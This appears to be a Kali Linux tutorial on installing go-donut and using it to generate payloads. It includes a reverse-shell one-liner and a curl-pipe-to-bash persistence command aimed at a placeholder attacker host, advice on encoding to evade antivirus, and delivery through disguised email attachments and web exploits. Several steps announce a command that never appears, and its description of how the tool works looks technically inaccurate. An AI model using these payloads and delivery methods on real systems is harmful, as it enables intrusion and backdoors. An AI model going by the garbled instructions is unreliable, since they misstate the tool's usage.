# Kali Linux Course #210: Using golang-github-binject-go-donut
## Installation and Configuration on Kali Linux
Before diving into the usage of `golang-github-binject-go-donut`, it’s essential to ensure that your Kali Linux environment is set up correctly for working with this tool. Here’s a step-by-step guide on how to install and configure `go-donut`.
### Step 1: Update Your System
Before installing any new software, it’s a good practice to update your package lists to ensure you have the latest available versions.
sudo apt update && sudo apt upgrade -y
### Step 2: Install Go
`golang-github-binject-go-donut` is a Go library, so you must have Go installed on your system. You can check if Go is already installed by running:
If Go is not installed, you can install it with the following commands:
sudo apt install golang-go -y
### Step 3: Install git
If you don’t have git installed on your system, you can install it using:
### Step 4: Clone the Repository
Now that you have Go and git installed, you can clone the `golang-github-binject-go-donut` repository from GitHub.
git clone https://github.com/binject/go-donut.git
### Step 5: Build the Tool
Next, navigate into the cloned directory and build the tool.
This will compile the Go code and create an executable binary in the current directory.
### Step 6: Set Up Your PATH
To make it easier to run `go-donut`, consider moving the binary to a directory that is included in your system’s PATH. You can do this by running:
sudo mv go-donut /usr/local/bin/
You should now be able to run `go-donut` from anywhere in your terminal. Verify the installation by running:
This command should display the help information for `go-donut`, confirming that the installation was successful.
## Step-by-Step Usage
`golang-github-binject-go-donut` is a powerful tool for creating shellcode and executable payloads that can bypass security measures in various environments. Below are step-by-step instructions for using it along with some real-world use cases.
### Basic Usage
1. **Creating a Donut Payload**
The primary function of `go-donut` is to create a donut payload. This can be done by specifying the command you want to execute in the payload.
This command will create a donut payload that executes the `whoami` command when run.
2. **Encoding the Payload**
Once you create a payload, you can encode it to avoid detection by security solutions. Use the `-e` option to encode your payload with different encoding methods.
go-donut -c "whoami" -e base64
This will output a base64 encoded version of the payload.
3. **Saving the Payload**
You can save the generated payload to a file for later use. To do this, use the `-o` option followed by the desired output filename.
go-donut -c "whoami" -o payload.bin
4. **Executing the Payload**
The generated payload can then be executed in a target machine’s environment. This can be done through a variety of means, such as uploading the payload to the target via a file upload vulnerability, or executing it via an exploit.
### Real-World Use Cases
1. **Bypassing Antivirus**
In a penetration testing scenario, `go-donut` can be used to create a payload that can bypass antivirus detection due to its ability to obfuscate the payload.
For example, you can create a reverse shell payload that connects back to your listener:
go-donut -c "bash -i >& /dev/tcp/your_ip/your_port 0>&1" -o reverse_shell.bin
This command will generate a binary that makes a reverse shell connection to the specified IP and port.
2. **Payload Delivery**
Once you have created your payload, you might need to deliver it to your target in a covert manner. Methods include:
– **Social Engineering**: Sending the payload via email with a malicious attachment disguised as a legitimate file.
– **Web Exploits**: Utilizing web vulnerabilities, such as Remote File Inclusion (RFI) or command injection to execute the payload on the target systems.
3. **Post-Exploitation**
After gaining access to a target system, you can use `go-donut` to create additional payloads for maintaining persistence or further exploration of the network.
go-donut -c "curl http://your_ip:your_port/shell.sh | bash" -o persistence_payload.bin
This payload fetches a script from your server and executes it, which could be used to install backdoors or gather further information from the target system.
## Detailed Technical Explanations
### How Donut Works
`go-donut` operates by creating a small bootstrapper that downloads and executes your intended command. The tool converts your command into a binary format that can be executed directly by the target system. The process involves encoding the command and using various techniques to ensure that the generated payload does not get flagged by antivirus solutions.
### Security Considerations
When using `go-donut`, it’s crucial to operate ethically and within the confines of the law. Unauthorized use of such tools can lead to serious legal consequences. Always ensure you have explicit permission from the target system's owner before conducting any penetration tests.
